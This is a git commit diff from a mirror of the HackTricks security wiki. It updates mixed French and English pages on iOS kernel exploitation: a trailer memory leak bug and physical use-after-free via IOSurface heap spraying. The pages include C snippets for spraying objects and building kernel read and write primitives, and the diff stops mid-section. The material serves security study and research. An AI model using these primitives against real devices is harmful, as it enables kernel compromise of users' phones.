mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/blockchain/blockchain-and-crypto-currencies/defi-amm-ho
This commit is contained in:
Translator
parent
8f6497d302
commit
66223ef9f4
@ -81,6 +81,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
@ -769,7 +770,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -846,7 +847,6 @@
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||
@ -895,7 +895,6 @@
|
||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## The Bug
|
||||
## La faille
|
||||
|
||||
Vous avez une [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mais en résumé :
|
||||
|
||||
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
Ensuite, lorsque l'objet trailer est généré, seuls certains champs sont initialisés, et la taille maximale du trailer est toujours réservée :
|
||||
Puis, lorsque l'objet trailer est généré, seuls certains champs sont initialisés, et la taille maximale du trailer est toujours réservée :
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
Puis, par exemple, lorsqu'on tente de lire un mach message en utilisant `mach_msg()`, la fonction `ipc_kmsg_add_trailer()` est appelée pour ajouter le trailer au message. À l'intérieur de cette fonction, la taille du trailer est calculée et certains autres champs du trailer sont remplis :
|
||||
Par exemple, lorsqu'on tente de lire un mach message en utilisant `mach_msg()`, la fonction `ipc_kmsg_add_trailer()` est appelée pour ajouter le trailer au message. À l'intérieur de cette fonction, la taille du trailer est calculée et certains autres champs du trailer sont remplis :
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
Le paramètre `option` est contrôlé par l'utilisateur, donc **il est nécessaire de fournir une valeur qui satisfait la condition `if`.**
|
||||
Le paramètre `option` est user-controlled, donc **il est nécessaire de fournir une valeur qui satisfait le `if` check.**
|
||||
|
||||
Pour passer cette vérification, nous devons envoyer un `option` pris en charge valide :
|
||||
Pour passer cette vérification, nous devons envoyer un `option` valide et pris en charge :
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
@ -67,7 +67,7 @@ Pour passer cette vérification, nous devons envoyer un `option` pris en charge
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
Mais, puisque `MACH_RCV_TRAILER_MASK` ne fait que vérifier des bits, nous pouvons passer n'importe quelle valeur entre `0` et `8` pour ne pas entrer dans le `if`.
|
||||
Mais, parce que le `MACH_RCV_TRAILER_MASK` vérifie simplement des bits, nous pouvons passer n'importe quelle valeur entre `0` et `8` pour ne pas entrer dans l'instruction `if`.
|
||||
|
||||
Ensuite, en continuant avec le code, vous pouvez trouver :
|
||||
```c
|
||||
@ -92,19 +92,19 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Comme on peut le voir, si `option` est supérieur ou égal à `MACH_RCV_TRAILER_AV` (7), le champ **`msgh_ad`** est initialisé à `0`.
|
||||
On peut voir que si `option` est supérieur ou égal à `MACH_RCV_TRAILER_AV` (7), le champ **`msgh_ad`** est initialisé à `0`.
|
||||
|
||||
Si vous avez remarqué, **`msgh_ad`** était encore le seul champ du trailer qui n'était pas initialisé auparavant et qui pouvait contenir un leak provenant d'une mémoire précédemment utilisée.
|
||||
Si vous avez remarqué, **`msgh_ad`** était encore le seul champ du trailer qui n'avait pas été initialisé auparavant et qui pouvait contenir un leak provenant d'une mémoire utilisée précédemment.
|
||||
|
||||
Donc, pour éviter de l'initialiser, il suffit de passer une valeur `option` égale à `5` ou `6`, ainsi elle passe le premier test `if` et n'entre pas dans l'`if` qui initialise `msgh_ad`, parce que les valeurs `5` et `6` n'ont aucun type de trailer associé.
|
||||
Donc, pour éviter de l'initialiser, il faut passer une valeur `option` égale à `5` ou `6`, de sorte qu'elle passe le premier test `if` et n'entre pas dans le `if` qui initialise `msgh_ad`, car les valeurs `5` et `6` n'ont aucun type de trailer associé.
|
||||
|
||||
### PoC basique
|
||||
|
||||
Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour simplement leak quelques données aléatoires.
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), vous avez un PoC pour simplement leak des données aléatoires.
|
||||
|
||||
### PoC pour leak d'une adresse kernel
|
||||
### PoC pour leak d'adresse kernel
|
||||
|
||||
Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour leak une adresse kernel. Pour cela, un message rempli de structures `mach_msg_port_descriptor_t` est envoyé car le champ `name` de cette structure en userland contient un unsigned int alors qu'en kernel le champ `name` est un pointeur vers la structure `ipc_port`. Par conséquent, envoyer des dizaines de ces structures dans le message côté kernel revient à **ajouter plusieurs adresses kernel à l'intérieur du message** afin que l'une d'elles puisse être leakée.
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), vous avez un PoC pour leak une adresse kernel. Pour cela, un message rempli de structures `mach_msg_port_descriptor_t` est envoyé dans le message car le champ `name` de cette structure en userland contient un unsigned int mais en kernel le champ `name` est un pointeur vers une struct `ipc_port` en kernel. Par conséquent, envoyer des dizaines de ces structs dans le message côté kernel revient à **ajouter plusieurs adresses kernel à l'intérieur du message** afin que l'une d'elles puisse être leakée.
|
||||
|
||||
Des commentaires ont été ajoutés pour une meilleure compréhension :
|
||||
```c
|
||||
|
||||
@ -3,109 +3,108 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Atténuations des exploits iOS
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||||
- **Data Execution Prevention (DEP)** marque des régions mémoire comme non-exécutables à moins qu'elles ne contiennent explicitement du code. Cela empêche les attaquants d'injecter du shellcode dans des régions de données (comme la stack ou le heap) et de l'exécuter, les forçant à recourir à des techniques plus complexes comme ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomise les adresses mémoire du code, des bibliothèques, de la stack et du heap à chaque démarrage. Cela rend beaucoup plus difficile pour un attaquant de prédire où se trouvent des instructions ou gadgets utiles, cassant de nombreuses chaînes d'exploit qui dépendent de dispositions mémoire fixes.
|
||||
- **KASLR (Kernel ASLR)** applique le même concept de randomisation au kernel iOS. En déplaçant l'adresse de base du kernel à chaque boot, il empêche les attaquants de localiser de manière fiable les fonctions ou structures du kernel, augmentant la difficulté des exploits au niveau kernel qui chercheraient à obtenir un contrôle complet du système.
|
||||
- **Kernel Patch Protection (KPP)** aussi connu sous le nom **AMCC (Apple Mobile File Integrity)** dans iOS, surveille en continu les pages de code du kernel pour s'assurer qu'elles n'ont pas été modifiées. Si toute altération est détectée — comme un exploit tentant de patcher des fonctions du kernel ou d'insérer du code malveillant — l'appareil panique et redémarre immédiatement. Cette protection rend les exploits persistants du kernel beaucoup plus difficiles, car les attaquants ne peuvent pas simplement hooker ou patcher les instructions du kernel sans provoquer un crash système.
|
||||
- **Kernel Text Readonly Region (KTRR)** est une fonctionnalité matérielle introduite sur les appareils iOS. Elle utilise le contrôleur mémoire du CPU pour marquer la section code (text) du kernel comme définitivement en lecture seule après le boot. Une fois verrouillée, même le kernel lui-même ne peut pas modifier cette région mémoire. Cela empêche les attaquants — et même le code privilégié — de patcher les instructions du kernel à l'exécution, fermant une grande classe d'exploits qui reposaient sur la modification directe du code du kernel.
|
||||
- **Pointer Authentication Codes (PAC)** utilisent des signatures cryptographiques intégrées dans des bits inutilisés des pointeurs pour vérifier leur intégrité avant utilisation. Lorsqu'un pointeur (comme une adresse de retour ou un pointeur de fonction) est créé, le CPU le signe avec une clé secrète ; avant la déréférence, le CPU vérifie la signature. Si le pointeur a été altéré, la vérification échoue et l'exécution s'arrête. Cela empêche les attaquants de forger ou réutiliser des pointeurs corrompus dans des exploits de corruption mémoire, rendant des techniques comme ROP ou JOP beaucoup plus difficiles à mettre en œuvre de façon fiable.
|
||||
- **Privilege Access never (PAN)** est une fonctionnalité matérielle qui empêche le kernel (mode privilégié) d'accéder directement à la mémoire user-space à moins d'activer explicitement l'accès. Cela stoppe les attaquants ayant obtenu une exécution de code kernel d'accéder facilement à la mémoire utilisateur pour escalader des privilèges ou voler des données sensibles. En faisant respecter une séparation stricte, PAN réduit l'impact des exploits kernel et bloque de nombreuses techniques d'escalade de privilèges courantes.
|
||||
- **Page Protection Layer (PPL)** est un mécanisme de sécurité iOS qui protège des régions critiques de la mémoire gérées par le kernel, en particulier celles liées au code signing et aux entitlements. Il applique des protections strictes en écriture via la MMU (Memory Management Unit) et des contrôles supplémentaires, garantissant que même du code kernel privilégié ne peut modifier arbitrairement des pages sensibles. Cela empêche les attaquants ayant obtenu une exécution au niveau kernel de manipuler des structures critiques pour la sécurité, rendant la persistance et les contournements de code signing significativement plus difficiles.
|
||||
|
||||
- **Data Execution Prevention (DEP)** marque des régions mémoire comme non-exécutables sauf si elles contiennent explicitement du code. Cela empêche les attaquants d’injecter du shellcode dans des régions de données (comme la stack ou le heap) et de l’exécuter, les forçant à utiliser des techniques plus complexes comme ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomise les adresses mémoire du code, des bibliothèques, de la stack et du heap à chaque exécution du système. Cela complique énormément la prédiction de l’emplacement d’instructions ou de gadgets utiles, brisant de nombreuses chaînes d’exploit qui dépendent d’un layout mémoire fixe.
|
||||
- **KASLR (Kernel ASLR)** applique le même concept de randomisation au kernel iOS. En déplaçant l’adresse de base du kernel à chaque boot, il empêche les attaquants de localiser de manière fiable les fonctions ou structures du kernel, augmentant la difficulté des exploits au niveau kernel visant à prendre le contrôle total du système.
|
||||
- **Kernel Patch Protection (KPP)**, aussi connu sous le nom **AMCC (Apple Mobile File Integrity)** sur iOS, surveille en continu les pages de code du kernel pour s’assurer qu’elles n’ont pas été modifiées. Si une altération est détectée — par exemple un exploit tentant de patcher des fonctions du kernel ou d’insérer du code malveillant — l’appareil va paniquer et redémarrer immédiatement. Cette protection rend les exploits persistants du kernel beaucoup plus difficiles, car les attaquants ne peuvent pas hooker ou patcher les instructions du kernel sans provoquer un crash système.
|
||||
- **Kernel Text Readonly Region (KTRR)** est une fonctionnalité matérielle introduite sur les appareils iOS. Elle utilise le contrôleur mémoire du CPU pour marquer la section code (text) du kernel comme définitivement en lecture seule après le boot. Une fois verrouillée, même le kernel lui‑même ne peut pas modifier cette région mémoire. Cela empêche les attaquants — et même du code privilégié — de patcher les instructions du kernel à l’exécution, fermant une grande classe d’exploits qui dépendaient de la modification directe du code kernel.
|
||||
- **Pointer Authentication Codes (PAC)** utilisent des signatures cryptographiques intégrées dans des bits inutilisés des pointeurs pour vérifier leur intégrité avant utilisation. Lorsqu’un pointeur (comme une adresse de retour ou un function pointer) est créé, le CPU le signe avec une clé secrète ; avant la déréférence, le CPU vérifie la signature. Si le pointeur a été altéré, la vérification échoue et l’exécution s’arrête. Cela empêche les attaquants de forger ou de réutiliser des pointeurs corrompus dans des exploits de corruption mémoire, rendant des techniques comme ROP ou JOP beaucoup plus difficiles à réaliser de manière fiable.
|
||||
- **Privilege Access never (PAN)** est une fonctionnalité matérielle qui empêche le kernel (mode privilégié) d’accéder directement à la mémoire user-space à moins d’activer explicitement cet accès. Cela stoppe les attaquants qui ont obtenu l’exécution de code kernel de lire ou d’écrire facilement la mémoire utilisateur pour escalader des privilèges ou voler des données sensibles. En imposant une séparation stricte, PAN réduit l’impact des exploits kernel et bloque de nombreuses techniques courantes d’escalade de privilèges.
|
||||
- **Page Protection Layer (PPL)** est un mécanisme de sécurité iOS qui protège des régions mémoire critiques gérées par le kernel, en particulier celles liées au code signing et aux entitlements. Il impose des protections d’écriture strictes en utilisant la MMU (Memory Management Unit) et des vérifications additionnelles, garantissant que même du code kernel privilégié ne peut pas modifier arbitrairement des pages sensibles. Cela empêche les attaquants ayant obtenu l’exécution au niveau kernel de manipuler des structures critiques de sécurité, rendant la persistance et les contournements de code signing significativement plus difficiles.
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
Ceci est un résumé du post disponible sur [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). De plus, des informations complémentaires sur des exploits utilisant cette technique peuvent être trouvées sur [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Ceci est un résumé du post disponible sur [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) ; plus d’informations sur des exploits utilisant cette technique se trouvent également sur [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
L'**espace d'adressage mémoire virtuelle** pour les processus utilisateur sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. À la place, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en adresses **physiques** réelles.
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
|
||||
#### Niveaux des tables de pages dans iOS
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
|
||||
Page tables are organized hierarchically in three levels:
|
||||
|
||||
1. **L1 Page Table (Level 1)** :
|
||||
* Chaque entrée ici représente une large plage de mémoire virtuelle.
|
||||
* Elle couvre **0x1000000000 bytes** (ou **256 GB**) de mémoire virtuelle.
|
||||
2. **L2 Page Table (Level 2)** :
|
||||
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 bytes** (32 MB).
|
||||
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
|
||||
3. **L3 Page Table (Level 3)** :
|
||||
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 KB**.
|
||||
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
|
||||
#### Mappage de la mémoire virtuelle vers la mémoire physique
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)** :
|
||||
* Certaines entrées d'une table de pages mappent directement une plage d'adresses virtuelles vers une plage contiguë d'adresses physiques (comme un raccourci).
|
||||
* **Pointer to Child Page Table** :
|
||||
* Si un contrôle plus fin est nécessaire, une entrée à un niveau (par ex. L1) peut pointer vers une **table de pages enfant** au niveau suivant (par ex. L2).
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* **Pointer to Child Page Table**:
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
|
||||
#### Exemple : Mappage d'une adresse virtuelle
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Supposons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
|
||||
1. **L1 Table** :
|
||||
* Le noyau vérifie l'entrée de la table L1 correspondant à cette adresse virtuelle. Si elle contient un **pointeur vers une table L2**, il se rend dans cette table L2.
|
||||
2. **L2 Table** :
|
||||
* Le noyau vérifie la table L2 pour un mappage plus détaillé. Si cette entrée pointe vers une **table L3**, il poursuit dans cette table.
|
||||
3. **L3 Table** :
|
||||
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
|
||||
1. **L1 Table**:
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
2. **L2 Table**:
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
3. **L3 Table**:
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
|
||||
#### Exemple de mappage d'adresses
|
||||
#### Example of Address Mapping
|
||||
|
||||
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
|
||||
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** se mappent vers les adresses physiques de **0x800004000** à **0x802004000**.
|
||||
* C'est un **block mapping** au niveau L2.
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
|
||||
Alternativement, si l'entrée L2 pointe vers une table L3 :
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
|
||||
* Chaque page de 4 KB dans la plage virtuelle **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
Un **physical use-after-free** (UAF) se produit lorsque :
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
|
||||
1. Un processus **alloue** de la mémoire en lecture/écriture.
|
||||
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
|
||||
3. Le processus **désalloue** (libère) la mémoire.
|
||||
4. Cependant, à cause d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
|
||||
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, par exemple pour des **données du kernel**.
|
||||
6. Comme le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
|
||||
Cela signifie que le processus peut accéder à des **pages de la mémoire du kernel**, qui peuvent contenir des données ou structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du kernel**.
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Puisque l'attaquant ne peut pas contrôler quelles pages kernel spécifiques seront allouées à la mémoire libérée, il utilise une technique appelée **heap spray** :
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
|
||||
1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire kernel.
|
||||
2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui facilite son identification.
|
||||
3. Il **scanne les pages libérées** pour voir si l'un de ces objets IOSurface a atterri sur une page libérée.
|
||||
4. Lorsqu'il trouve un objet IOSurface sur une page libérée, il peut l'utiliser pour **lire et écrire la mémoire du kernel**.
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
|
||||
Plus d'infos à ce sujet sur [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Sachez que les appareils iOS 16+ (A12+) apportent des mitigations matérielles (comme PPL ou SPTM) qui rendent les techniques de physical UAF bien moins viables.
|
||||
> PPL applique des protections MMU strictes sur les pages liées au code signing, aux entitlements et aux données sensibles du kernel, donc même si une page est réutilisée, les écritures depuis l'userland ou du code kernel compromis vers des pages protégées par PPL sont bloquées.
|
||||
> Secure Page Table Monitor (SPTM) étend PPL en renforçant les mises à jour des tables de pages elles-mêmes. Il garantit que même le code kernel privilégié ne peut pas remapper silencieusement des pages libérées ou altérer des mappings sans passer par des contrôles sécurisés.
|
||||
> KTRR (Kernel Text Read-Only Region), qui verrouille la section code du kernel en lecture seule après le boot. Cela empêche toute modification à l'exécution du code du kernel, fermant un vecteur d'attaque majeur sur lequel les exploits de physical UAF s'appuyaient souvent.
|
||||
> De plus, les allocations `IOSurface` sont moins prévisibles et plus difficiles à mapper dans des régions accessibles par l'utilisateur, ce qui rend la technique de scan de "valeur magique" beaucoup moins fiable. Et `IOSurface` est désormais protégée par des entitlements et des restrictions de sandbox.
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
|
||||
### Processus de Heap Spray étape par étape
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
|
||||
2. **Scan Freed Pages** : Il vérifie si l'un des objets a été alloué sur une page libérée.
|
||||
3. **Read/Write Kernel Memory** : En manipulant des champs de l'objet IOSurface, il obtient la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du kernel. Cela lui permet de :
|
||||
* Utiliser un champ pour **lire n'importe quelle valeur 32-bit** dans la mémoire du kernel.
|
||||
* Utiliser un autre champ pour **écrire des valeurs 64-bit**, obtenant un primitive stable de **kernel read/write**.
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
Rechercher des objets **`IOSurface`** dans une page physique libérée:
|
||||
Rechercher des objets **`IOSurface`** dans une page physique libérée :
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -162,9 +161,9 @@ free(surfaceIDs);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Obtention d'un accès lecture/écriture au kernel avec IOSurface
|
||||
### Obtenir des opérations de lecture/écriture kernel avec IOSurface
|
||||
|
||||
Après avoir pris le contrôle d'un objet IOSurface dans la mémoire kernel (mappé sur une page physique libérée accessible depuis userspace), on peut l'utiliser pour des **opérations arbitraires de lecture et d'écriture kernel**.
|
||||
Après avoir pris le contrôle d'un objet IOSurface dans la mémoire kernel (mappé sur une page physique libérée accessible depuis userspace), on peut l'utiliser pour des opérations de **lecture et écriture kernel arbitraires**.
|
||||
|
||||
**Champs clés dans IOSurface**
|
||||
|
||||
@ -175,7 +174,7 @@ L'objet IOSurface possède deux champs cruciaux :
|
||||
|
||||
En écrasant ces pointeurs, on les redirige vers des adresses arbitraires en mémoire kernel, activant des capacités de lecture/écriture.
|
||||
|
||||
#### Lecture 32-bit du kernel
|
||||
#### Lecture kernel 32-bit
|
||||
|
||||
Pour effectuer une lecture :
|
||||
|
||||
@ -198,12 +197,12 @@ iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### Écriture 64 bits dans le noyau
|
||||
#### Écriture 64 bits dans le kernel
|
||||
|
||||
Pour effectuer une écriture :
|
||||
|
||||
1. Écrasez le **indexed timestamp pointer** pour qu'il pointe vers l'adresse cible.
|
||||
2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur 64 bits.
|
||||
1. Écraser le **indexed timestamp pointer** pour qu'il pointe vers l'adresse cible.
|
||||
